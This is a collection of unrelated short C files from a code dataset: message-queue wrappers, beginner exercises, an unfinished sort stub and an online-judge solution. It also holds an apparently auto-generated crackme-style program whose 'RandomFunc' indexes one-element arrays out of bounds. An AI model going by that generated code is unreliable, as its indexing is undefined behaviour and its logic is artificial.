the_stack_data/242330794.c
|
/* Copyright (c) Bureau d'Etudes Ciaran O'Donnell,1987,1990,1991 */
#define _MSGGET 0
#define _MSGCTL 1
#define _MSGRCV 2
#define _MSGSND 3
msgget(key, msgflg)
{
return _msgsys(_MSGGET, key, msgflg);
}
msgctl(msgqid, cmd, buf)
{
return _msgsys(_MSGCTL, msgqid, cmd, buf);
}
msgrcv(msgqid, msgp, msgsz, msgtyp, msgflg)
{
return _msgsys(_MSGRCV, msgqid, msgp, msgsz, msgtyp, msgflg);
}
msgsnd(msgqid, msgp, msgsz, msgflg)
{
return _msgsys(_MSGSND, msgqid, msgp, msgsz, msgflg);
}
|
the_stack_data/358310.c
|
/* Generated by CIL v. 1.7.0 */
/* print_CIL_Input is false */
struct _IO_FILE;
struct timeval;
extern void signal(int sig , void *func ) ;
extern float strtof(char const *str , char const *endptr ) ;
typedef struct _IO_FILE FILE;
extern int atoi(char const *s ) ;
extern double strtod(char const *str , char const *endptr ) ;
extern int fclose(void *stream ) ;
extern void *fopen(char const *filename , char const *mode ) ;
extern void abort() ;
extern void exit(int status ) ;
extern int raise(int sig ) ;
extern int fprintf(struct _IO_FILE *stream , char const *format , ...) ;
extern int strcmp(char const *a , char const *b ) ;
extern int rand() ;
extern unsigned long strtoul(char const *str , char const *endptr , int base ) ;
void RandomFunc(unsigned char input[1] , unsigned char output[1] ) ;
extern int strncmp(char const *s1 , char const *s2 , unsigned long maxlen ) ;
extern int gettimeofday(struct timeval *tv , void *tz , ...) ;
extern int printf(char const *format , ...) ;
int main(int argc , char *argv[] ) ;
void megaInit(void) ;
extern unsigned long strlen(char const *s ) ;
extern long strtol(char const *str , char const *endptr , int base ) ;
extern unsigned long strnlen(char const *s , unsigned long maxlen ) ;
extern void *memcpy(void *s1 , void const *s2 , unsigned long size ) ;
struct timeval {
long tv_sec ;
long tv_usec ;
};
extern void *malloc(unsigned long size ) ;
extern int scanf(char const *format , ...) ;
int main(int argc , char *argv[] )
{
unsigned char input[1] ;
unsigned char output[1] ;
int randomFuns_i5 ;
unsigned char randomFuns_value6 ;
int randomFuns_main_i7 ;
{
megaInit();
if (argc != 2) {
printf("Call this program with %i arguments\n", 1);
exit(-1);
} else {
}
randomFuns_i5 = 0;
while (randomFuns_i5 < 1) {
randomFuns_value6 = (unsigned char )strtoul(argv[randomFuns_i5 + 1], 0, 10);
input[randomFuns_i5] = randomFuns_value6;
randomFuns_i5 ++;
}
RandomFunc(input, output);
if (output[0] == 203) {
printf("You win!\n");
} else {
}
randomFuns_main_i7 = 0;
while (randomFuns_main_i7 < 1) {
printf("%u\n", output[randomFuns_main_i7]);
randomFuns_main_i7 ++;
}
}
}
void RandomFunc(unsigned char input[1] , unsigned char output[1] )
{
unsigned char state[1] ;
unsigned char local1 ;
{
state[0UL] = input[0UL] + (unsigned char)69;
local1 = 0UL;
while (local1 < input[1UL]) {
state[local1] += state[local1];
local1 += 2UL;
}
local1 = 0UL;
while (local1 < input[1UL]) {
state[local1] = state[0UL] + state[0UL];
local1 += 2UL;
}
output[0UL] = state[0UL] + 792422477UL;
}
}
void megaInit(void)
{
{
}
}
|
the_stack_data/579328.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
void pretty_printer(char *to_print, size_t size);
char *to_sort = "zdvixqcuvd";
//the same as "zdvixqcuvd"
int main(int argc, char **argv)
{
int asc = 0;
if (argc != 3)
{
printf("Usage: ./insertSort [asc|dsc] to_sort\n");
return 1;
}
if (strcmp(argv[1], "asc") == 0)
{
asc = 1;
}
else if (strcmp(argv[1], "dsc") == 0)
{
asc = 0;
}
else
{
printf("Usage: ./insertSort [asc|dsc] to_sort\n");
return 1;
}
to_sort = argv[2];
//helpers
int size = strlen(to_sort);
int max;
int index;
for (int i = 0 ; i < size; i++)
{
//TODO
}
pretty_printer(to_sort, size);
return 0;
}
void pretty_printer(char *to_print, size_t size)
{
printf("[");
for (int i = 0; i < size; i++)
{
if (size - i > 1)
{
printf("%c, ", to_print[i]);
}
else
{
printf("%c", to_print[i]);
}
}
printf("]\n");
}
|
the_stack_data/276423.c
|
#include <stdio.h>
int addOne(int i);
int main() {
int n= 10;
printf("%d plus one is: %d",n,addOne(n));
return 0;
}
|
the_stack_data/97013370.c
|
#include <stdio.h>
#include <string.h>
#define N 3
void show(int arreglo[][N]);
void data(int arreglo[][N]);
void show(int arreglo[][N])
{
for (int i = 0; i < N; i++)
{
for (int j = 0; j < N; j++)
{
printf("%d,", arreglo[i][j]);
}
printf("\n");
}
}
void data(int arreglo[][N])
{
for (int i = 0; i < N; i++)
{
for (int j = 0; j < N; j++)
{
printf("\n Valor de [%d][%d]:", i,j);
scanf("%d,", &arreglo[i][j]);
}
}
}
int main()
{
int arreglo[N][N];
data(arreglo);
show(arreglo);
return 0;
}
|
the_stack_data/31389003.c
|
#include <stdio.h>
#define NUM 5
void sum_abs_(int *, int *, int *); /* trailing underscore, pointers */
int main(int argc, char **argv) {
int data[NUM], sum, num, i;
num = NUM;
for (i = 0; i < num; i++) {
data[i] = i;
}
sum_abs_(data, &num, &sum);
printf("sum=%d\n", sum);
return 0;
}
|
the_stack_data/95449740.c
|
/*
URI Online Judge | 1177
Array Fill II
Adapted by Neilor Tonin, URI Brazil
https://www.urionlinejudge.com.br/judge/en/problems/view/1177
Timelimit: 1
Write a program that reads a number T and fill a vector N[1000] with the numbers from 0 to T-1 repeated times, like as the example below.
Input
The input contains an integer number T (2 ≤ T ≤ 50).
Output
For each position of the array N, print "N[i] = x", where i is the array position and x is the number stored in that position.
@author Marcos Lima
@profile https://www.urionlinejudge.com.br/judge/pt/profile/242402
@status Accepted
@language C (gcc 4.8.5, -O2 -lm) [+0s]
@time 0.000s
@size 299 Bytes
@submission 12/22/19, 5:51:57 PM
*/
#include <stdio.h>
int main()
{
unsigned char n[1000], t, v;
unsigned short i;
scanf("%hhu", &t);
for (i = 0, v = 0; i < 1000; i++, v++) {
if (v == t)
v = 0;
n[i] = v;
printf("N[%hu] = %hhu\n",i,v);
}
return 0;
}
|
the_stack_data/120748.c
|
extern int foo (void);
int
foo (void)
{
return 42;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.